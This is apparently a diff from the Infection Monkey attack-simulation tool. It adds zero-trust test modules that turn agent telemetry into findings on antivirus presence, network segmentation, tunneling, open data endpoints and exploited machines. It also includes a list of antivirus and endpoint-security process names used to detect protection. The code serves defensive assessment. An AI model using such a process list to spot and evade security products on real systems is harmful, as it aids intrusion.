+        monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+        wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
+        wmi_handler.process_and_handle_wmi_info()
+
+
+def process_aws_data(telemetry_json):
+    if 'aws' in telemetry_json['data']:
+        if 'instance_id' in telemetry_json['data']['aws']:
+            monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+            mongo.db.monkey.update_one({'_id': monkey_id},
+                                       {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
new file mode 100644
index 000000000..1598b144a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
@@ -0,0 +1,13 @@
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation
+
+
+def process_tunnel_telemetry(telemetry_json):
+    test_tunneling_violation(telemetry_json)
+    monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
+    if telemetry_json['data']['proxy'] is not None:
+        tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
+        NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
+    else:
+        NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
new file mode 100644
index 000000000..466b81bf1
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+
+
+def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
+    dst_ip = telemetry_json['data']['machine']['ip_addr']
+    dst_domain_name = telemetry_json['data']['machine']['domain_name']
+    src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+    dst_node = NodeService.get_monkey_by_ip(dst_ip)
+    if dst_node is None:
+        dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
+
+    return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
+
+
+def get_tunnel_host_ip_from_proxy_field(telemetry_json):
+    tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+    return tunnel_host_ip
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
new file mode 100644
index 000000000..b8b8c559b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
@@ -0,0 +1,47 @@
+import json
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \
+    STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES
+
+
+def test_antivirus_existence(telemetry_json):
+    current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+    if 'process_list' in telemetry_json['data']:
+        process_list_event = Event.create_event(
+            title="Process list",
+            message="Monkey on {} scanned the process list".format(current_monkey.hostname),
+            event_type=EVENT_TYPE_MONKEY_LOCAL)
+        events = [process_list_event]
+
+        av_processes = filter_av_processes(telemetry_json)
+
+        for process in av_processes:
+            events.append(Event.create_event(
+                title="Found AV process",
+                message="The process '{}' was recognized as an Anti Virus process. Process "
+                        "details: {}".format(process[1]['name'], json.dumps(process[1])),
+                event_type=EVENT_TYPE_MONKEY_LOCAL
+            ))
+
+        if len(av_processes) > 0:
+            test_status = STATUS_PASSED
+        else:
+            test_status = STATUS_FAILED
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events
+        )
+
+
+def filter_av_processes(telemetry_json):
+    all_processes = telemetry_json['data']['process_list'].items()
+    av_processes = []
+    for process in all_processes:
+        process_name = process[1]['name']
+        # This is for case-insensitive `in`. Generator expression is to save memory.
+        if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES):
+            av_processes.append(process)
+    return av_processes
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
new file mode 100644
index 000000000..6c5b1154b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -0,0 +1,37 @@
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \
+    STATUS_PASSED
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+
+COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}"
+COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
+    "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}"
+
+
+def test_new_user_communication(current_monkey, success, message):
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_COMMUNICATE_AS_NEW_USER,
+        # If the monkey succeeded to create a user, then the test failed.
+        status=STATUS_FAILED if success else STATUS_PASSED,
+        events=[
+            get_attempt_event(current_monkey),
+            get_result_event(current_monkey, message, success)
+        ]
+    )
+
+
+def get_attempt_event(current_monkey):
+    tried_to_communicate_event = Event.create_event(
+        title="Communicate as new user",
+        message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
+        event_type=EVENT_TYPE_MONKEY_NETWORK)
+    return tried_to_communicate_event
+
+
+def get_result_event(current_monkey, message, success):
+    message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+
+    return Event.create_event(
+        title="Communicate as new user",
+        message=message_format.format(current_monkey.hostname, message),
+        event_type=EVENT_TYPE_MONKEY_NETWORK)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
new file mode 100644
index 000000000..68a7f713d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -0,0 +1,70 @@
+import json
+
+from common.data.network_consts import ES_SERVICE
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
+
+
+def test_open_data_endpoints(telemetry_json):
+    services = telemetry_json["data"]["machine"]["services"]
+    current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+    found_http_server_status = STATUS_PASSED
+    found_elastic_search_server = STATUS_PASSED
+
+    events = [
+        Event.create_event(
+            title="Scan Telemetry",
+            message="Monkey on {} tried to perform a network scan, the target was {}.".format(
+                current_monkey.hostname,
+                telemetry_json["data"]["machine"]["ip_addr"]),
+            event_type=EVENT_TYPE_MONKEY_NETWORK,
+            timestamp=telemetry_json["timestamp"]
+        )
+    ]
+
+    for service_name, service_data in services.items():
+        events.append(Event.create_event(
+            title="Scan telemetry analysis",
+            message="Scanned service: {}.".format(service_name),
+            event_type=EVENT_TYPE_MONKEY_NETWORK
+        ))
+        if service_name in HTTP_SERVERS_SERVICES_NAMES:
+            found_http_server_status = STATUS_FAILED
+            events.append(Event.create_event(
+                title="Scan telemetry analysis",
+                message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+                    service_data["display_name"],
+                    telemetry_json["data"]["machine"]["ip_addr"],
+                    json.dumps(service_data)
+                ),
+                event_type=EVENT_TYPE_MONKEY_NETWORK
+            ))
+        if service_name == ES_SERVICE:
+            found_elastic_search_server = STATUS_FAILED
+            events.append(Event.create_event(
+                title="Scan telemetry analysis",
+                message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+                    service_data["display_name"],
+                    telemetry_json["data"]["machine"]["ip_addr"],
+                    json.dumps(service_data)
+                ),
+                event_type=EVENT_TYPE_MONKEY_NETWORK
+            ))
+
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_DATA_ENDPOINT_HTTP,
+        status=found_http_server_status,
+        events=events
+    )
+
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_DATA_ENDPOINT_ELASTIC,
+        status=found_elastic_search_server,
+        events=events
+    )
+
+    add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
new file mode 100644
index 000000000..e5d7c2355
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
@@ -0,0 +1,87 @@
+ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
+    u"AvastSvc.exe",
+    u"AvastUI.exe",
+    u"avcenter.exe",
+    u"avconfig.exe",
+    u"avgcsrvx.exe",
+    u"avgidsagent.exe",
+    u"avgnt.exe",
+    u"avgrsx.exe",
+    u"avguard.exe",
+    u"avgui.exe",
+    u"avgwdsvc.exe",
+    u"avp.exe",
+    u"avscan.exe",
+    u"bdagent.exe",
+    u"ccuac.exe",
+    u"egui.exe",
+    u"hijackthis.exe",
+    u"instup.exe",
+    u"keyscrambler.exe",
+    u"mbam.exe",
+    u"mbamgui.exe",
+    u"mbampt.exe",
+    u"mbamscheduler.exe",
+    u"mbamservice.exe",
+    u"MpCmdRun.exe",
+    u"MSASCui.exe",
+    u"MsMpEng.exe",
+    u"rstrui.exe",
+    u"spybotsd.exe",
+    u"zlclient.exe",
+    u"SymCorpUI.exe",
+    u"ccSvcHst.exe",
+    u"ccApp.exe",
+    u"LUALL.exe",
+    u"SMC.exe",
+    u"SMCgui.exe",
+    u"Rtvscan.exe",
+    u"LuComServer.exe",
+    u"ProtectionUtilSurrogate.exe",
+    u"ClientRemote.exe",
+    u"SemSvc.exe",
+    u"SemLaunchSvc.exe",
+    u"sesmcontinst.exe",
+    u"LuCatalog.exe",
+    u"LUALL.exe",
+    u"LuCallbackProxy.exe",
+    u"LuComServer_3_3.exe",
+    u"httpd.exe",
+    u"dbisqlc.exe",
+    u"dbsrv16.exe",
+    u"semapisrv.exe",
+    u"snac64.exe",
+    u"AutoExcl.exe",
+    u"DoScan.exe",
+    u"nlnhook.exe",
+    u"SavUI.exe",
+    u"SepLiveUpdate.exe",
+    u"Smc.exe",
+    u"SmcGui.exe",
+    u"SymCorpUI.exe",
+    u"symerr.exe",
+    u"ccSvcHst.exe",
+    u"DevViewer.exe",
+    u"DWHWizrd.exe",
+    u"RtvStart.exe",
+    u"roru.exe",
+    u"WSCSAvNotifier",
+    # Guardicore Centra
+    # Linux
+    u"gc-agents-service",
+    u"gc-guest-agent",
+    u"gc-guardig",
+    u"gc-digger",
+    u"gc-fastpath",
+    u"gc-enforcement-agent",
+    u"gc-enforcement-channel",
+    u"gc-detection-agent",
+    # Windows
+    u"gc-guest-agent.exe",
+    u"gc-windig.exe",
+    u"gc-digger.exe",
+    u"gc-fastpath.exe",
+    u"gc-enforcement-channel.exe",
+    u"gc-enforcement-agent.exe",
+    u"gc-agent-ui.exe"
+]
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
new file mode 100644
index 000000000..454f3a7fe
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -0,0 +1,39 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp):
+    events = [
+        Event.create_event(
+            title="Exploit attempt",
+            message="Monkey on {} attempted to exploit {} using {}.".format(
+                current_monkey.hostname,
+                target_ip,
+                exploiter),
+            event_type=EVENT_TYPE_MONKEY_NETWORK,
+            timestamp=timestamp
+        )
+    ]
+    status = STATUS_PASSED
+    if exploit_successful:
+        events.append(
+            Event.create_event(
+                title="Exploit success!",
+                message="Monkey on {} successfully exploited {} using {}.".format(
+                    current_monkey.hostname,
+                    target_ip,
+                    exploiter),
+                event_type=EVENT_TYPE_MONKEY_NETWORK,
+                timestamp=timestamp)
+        )
+        status = STATUS_FAILED
+
+    AggregateFinding.create_or_add_to_existing(
+        test=TEST_MACHINE_EXPLOITED,
+        status=status,
+        events=events
+    )
+
+    add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
new file mode 100644
index 000000000..50e60e493
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -0,0 +1,110 @@
+import itertools
+from six import text_type
+
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
+from common.network.network_range import NetworkRange
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+
+SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
+                       "from `{src_seg}` segments to `{dst_seg}` segments."
+
+SEGMENTATION_VIOLATION_EVENT_TEXT = \
+    "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
+    "managed to communicate cross segment to {target_ip} (in segment {target_seg})."
+
+
+def test_segmentation_violation(current_monkey, target_ip):
+    # TODO - lower code duplication between this and report.py.
+    subnet_groups = get_config_network_segments_as_subnet_groups()
+    for subnet_group in subnet_groups:
+        subnet_pairs = itertools.product(subnet_group, subnet_group)
+        for subnet_pair in subnet_pairs:
+            source_subnet = subnet_pair[0]
+            target_subnet = subnet_pair[1]
+            if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+                event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet)
+                SegmentationFinding.create_or_add_to_existing_finding(
+                    subnets=[source_subnet, target_subnet],
+                    status=STATUS_FAILED,
+                    segmentation_event=event
+                )
+
+
+def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+    # type: (Monkey, str, str, str) -> bool
+    """
+    Checks is a specific communication is a segmentation violation.
+    :param current_monkey:  The source monkey which originated the communication.
+    :param target_ip:       The target with which the current monkey communicated with.
+    :param source_subnet:   The segment the monkey belongs to.
+    :param target_subnet:   Another segment which the monkey isn't supposed to communicate with.
+    :return:    True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False.
+    """
+    if source_subnet == target_subnet:
+        return False
+    source_subnet_range = NetworkRange.get_range_obj(source_subnet)
+    target_subnet_range = NetworkRange.get_range_obj(target_subnet)
+
+    if target_subnet_range.is_in_range(text_type(target_ip)):
+        cross_segment_ip = get_ip_in_src_and_not_in_dst(
+            current_monkey.ip_addresses,
+            source_subnet_range,
+            target_subnet_range)
+
+        return cross_segment_ip is not None
+
+
+def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet):
+    return Event.create_event(
+        title="Segmentation event",
+        message=SEGMENTATION_VIOLATION_EVENT_TEXT.format(
+            hostname=current_monkey.hostname,
+            source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)),
+            source_seg=source_subnet,
+            target_ip=target_ip,
+            target_seg=target_subnet
+        ),
+        event_type=EVENT_TYPE_MONKEY_NETWORK
+    )
+
+
+def test_passed_findings_for_unreached_segments(current_monkey):
+    flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist]
+    create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey)
+
+
+def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
+    # Filter the subnets that this monkey is part of.
+    this_monkey_subnets = []
+    for subnet in all_subnets:
+        if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None:
+            this_monkey_subnets.append(subnet)
+
+    # Get all the other subnets.
+    other_subnets = list(set(all_subnets) - set(this_monkey_subnets))
+
+    # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey
+    # should have tested.
+    all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets)
+
+    for subnet_pair in all_subnets_pairs_for_this_monkey:
+        SegmentationFinding.create_or_add_to_existing_finding(
+            subnets=list(subnet_pair),
+            status=STATUS_PASSED,
+            segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair)
+        )
+
+
+def get_segmentation_done_event(current_monkey, subnet_pair):
+    return Event.create_event(
+        title="Segmentation test done",
+        message=SEGMENTATION_DONE_EVENT_TEXT.format(
+                    hostname=current_monkey.hostname,
+                    src_seg=subnet_pair[0],
+                    dst_seg=subnet_pair[1]),
+        event_type=EVENT_TYPE_MONKEY_NETWORK
+    )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
new file mode 100644
index 000000000..5f986e3b5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
@@ -0,0 +1,46 @@
+import uuid
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \
+    EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+FIRST_SUBNET = "1.1.1.1"
+SECOND_SUBNET = "2.2.2.0/24"
+THIRD_SUBNET = "3.3.3.3-3.3.3.200"
+
+
+class TestSegmentationTests(IslandTestCase):
+    def test_create_findings_for_all_done_pairs(self):
+        self.fail_if_not_testing_env()
+        self.clean_finding_db()
+
+        all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET]
+
+        monkey = Monkey(
+            guid=str(uuid.uuid4()),
+            ip_addresses=[FIRST_SUBNET])
+
+        # no findings
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+        # This is like the monkey is done and sent done telem
+        create_or_add_findings_for_all_pairs(all_subnets, monkey)
+
+        # There are 2 subnets in which the monkey is NOT
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2)
+
+        # This is a monkey from 2nd subnet communicated with 1st subnet.
+        SegmentationFinding.create_or_add_to_existing_finding(
+            [FIRST_SUBNET, SECOND_SUBNET],
+            STATUS_FAILED,
+            Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK)
+        )
+
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1)
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1)
+        self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
new file mode 100644
index 000000000..ce34c2bb4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -0,0 +1,27 @@
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+
+
+def test_tunneling_violation(tunnel_telemetry_json):
+    if tunnel_telemetry_json['data']['proxy'] is not None:
+        # Monkey is tunneling, create findings
+        tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
+        current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid'])
+        tunneling_events = [Event.create_event(
+            title="Tunneling event",
+            message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
+                hostname=current_monkey.hostname, proxy=tunnel_host_ip),
+            event_type=EVENT_TYPE_MONKEY_NETWORK,
+            timestamp=tunnel_telemetry_json['timestamp']
+        )]
+
+        AggregateFinding.create_or_add_to_existing(
+            test=TEST_TUNNELING,
+            status=STATUS_FAILED,
+            events=tunneling_events
+        )
+
+        add_malicious_activity_to_timeline(tunneling_events)
diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py
index 1c708279e..35e568399 100644
--- a/monkey/monkey_island/cc/testing/IslandTestCase.py
+++ b/monkey/monkey_island/cc/testing/IslandTestCase.py
@@ -1,6 +1,7 @@
 import unittest
 from monkey_island.cc.environment.environment import env
 from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.finding import Finding
 
 
 class IslandTestCase(unittest.TestCase):
@@ -10,3 +11,7 @@ class IslandTestCase(unittest.TestCase):
     @staticmethod
     def clean_monkey_db():
         Monkey.objects().delete()
+
+    @staticmethod
+    def clean_finding_db():
+        Finding.objects().delete()
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 934b567e7..f366d73bd 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -56,7 +56,7 @@
     "@babel/helper-module-imports": {
       "version": "7.0.0",
       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.0.0.tgz",
-      "integrity": "sha1-lggbcRHkhtpNLNlxrRpP4hbMLj0=",
+      "integrity": "sha512-aP/hlLq01DWNEiDg4Jn23i+CXxW/owM4WpDLFUbpjxe4NS3BhLVZQ5i7E0ZrxuQ/vwekIeciyamgB1UIYxxM6A==",
       "requires": {
         "@babel/types": "^7.0.0"
       },
@@ -74,7 +74,7 @@
         "lodash": {
           "version": "4.17.11",
           "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
-          "integrity": "sha1-s56mIp72B+zYniyN8SU2iRysm40="
+          "integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
         },
         "to-fast-properties": {
           "version": "2.0.0",
@@ -259,7 +259,7 @@
     "@emotion/cache": {
       "version": "10.0.9",
       "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.9.tgz",
-      "integrity": "sha1-4Me3oon3Uw7c+tTc84WL0uVwCm8=",
+      "integrity": "sha512-f7MblpE2xoimC4fCMZ9pivmsIn7hyWRIvY75owMDi8pdOSeh+w5tH3r4hBJv/LLrwiMM7cTQURqTPcYoL5pWnw==",
       "requires": {
         "@emotion/sheet": "0.9.2",
         "@emotion/stylis": "0.8.3",
@@ -270,7 +270,7 @@
     "@emotion/core": {
       "version": "10.0.10",
       "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.10.tgz",
-      "integrity": "sha1-jTEU5aL4sXinBnxgOik3UW8YCwg=",
+      "integrity": "sha512-U1aE2cOWUscjc8ZJ3Cx32udOzLeRoJwGxBH93xQD850oQFpwPKZARzdUtdc9SByUOwzSFYxhDhrpXnV34FJmWg==",
       "requires": {
         "@emotion/cache": "^10.0.9",
         "@emotion/css": "^10.0.9",
@@ -292,12 +292,12 @@
     "@emotion/hash": {
       "version": "0.7.1",
       "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.7.1.tgz",
-      "integrity": "sha1-mDNyI0E3n7fWfwaksAqzw3kT2lM="
+      "integrity": "sha512-OYpa/Sg+2GDX+jibUfpZVn1YqSVRpYmTLF2eyAfrFTIJSbwyIrc+YscayoykvaOME/wV4BV0Sa0yqdMrgse6mA=="
     },
     "@emotion/memoize": {
       "version": "0.7.1",
       "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.7.1.tgz",
-      "integrity": "sha1-6TwTlCWSz17wGqgpdETcGSvu5S8="
+      "integrity": "sha512-Qv4LTqO11jepd5Qmlp3M1YEjBumoTHcHFdgPTQ+sFlIL5myi/7xu/POwP7IRu6odBdmLXdtIs1D6TuW6kbwbbg=="
     },
     "@emotion/serialize": {
       "version": "0.11.6",
@@ -314,27 +314,27 @@
     "@emotion/sheet": {
       "version": "0.9.2",
       "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-0.9.2.tgz",
-      "integrity": "sha1-dOXGteSJobowqyRqte7dlpFkh8Q="
+      "integrity": "sha512-pVBLzIbC/QCHDKJF2E82V2H/W/B004mDFQZiyo/MSR+VC4pV5JLG0TF/zgQDFvP3fZL/5RTPGEmXlYJBMUuJ+A=="
     },
     "@emotion/stylis": {
       "version": "0.8.3",
       "resolved": "https://registry.npmjs.org/@emotion/stylis/-/stylis-0.8.3.tgz",
-      "integrity": "sha1-PKfpvLMbPLSvuutmFW2G7oXiMkY="
+      "integrity": "sha512-M3nMfJ6ndJMYloSIbYEBq6G3eqoYD41BpDOxreE8j0cb4fzz/5qvmqU9Mb2hzsXcCnIlGlWhS03PCzVGvTAe0Q=="
     },
     "@emotion/unitless": {
       "version": "0.7.3",
       "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.7.3.tgz",
-      "integrity": "sha1-YxCgR/EtIaEDb7AxMXIZiSRAQW8="
+      "integrity": "sha512-4zAPlpDEh2VwXswwr/t8xGNDGg8RQiPxtxZ3qQEXyQsBV39ptTdESCjuBvGze1nLMVrxmTIKmnO/nAV8Tqjjzg=="
     },
     "@emotion/utils": {
       "version": "0.11.1",
       "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-0.11.1.tgz",
-      "integrity": "sha1-hSm3QSputLSL325yDMG45uHhdig="
+      "integrity": "sha512-8M3VN0hetwhsJ8dH8VkVy7xo5/1VoBsDOk/T4SJOeXwTO1c4uIqVNx2qyecLFnnUWD5vvUqHQ1gASSeUN6zcTg=="
     },
     "@emotion/weak-memoize": {
       "version": "0.2.2",
       "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.2.2.tgz",
-      "integrity": "sha1-Y5hdPYsCUw4IaZYvTaCRQu6OIA4="
+      "integrity": "sha512-n/VQ4mbfr81aqkx/XmVicOLjviMuy02eenSdJY33SVA7S2J42EU0P1H0mOogfYedb3wXA0d/LVtBrgTSm04WEA=="
     },
     "@kunukn/react-collapse": {
       "version": "1.0.5",
@@ -630,7 +630,6 @@
       "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
       "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
       "dev": true,
-      "optional": true,
       "requires": {
         "kind-of": "^3.0.2",
         "longest": "^1.0.1",
@@ -689,7 +688,7 @@
     "are-we-there-yet": {
       "version": "1.1.5",
       "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz",
-      "integrity": "sha1-SzXClE8GKov82mZBB2A1D+nd/CE=",
+      "integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==",
       "requires": {
         "delegates": "^1.0.0",
         "readable-stream": "^2.0.6"
@@ -703,12 +702,12 @@
         "process-nextick-args": {
           "version": "2.0.0",
           "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
-          "integrity": "sha1-o31zL0JxtKsa0HDTVQjoKQeI/6o="
+          "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
         },
         "readable-stream": {
           "version": "2.3.6",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
-          "integrity": "sha1-sRwn2IuP8fvgcGQ8+UsMea4bCq8=",
+          "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
           "requires": {
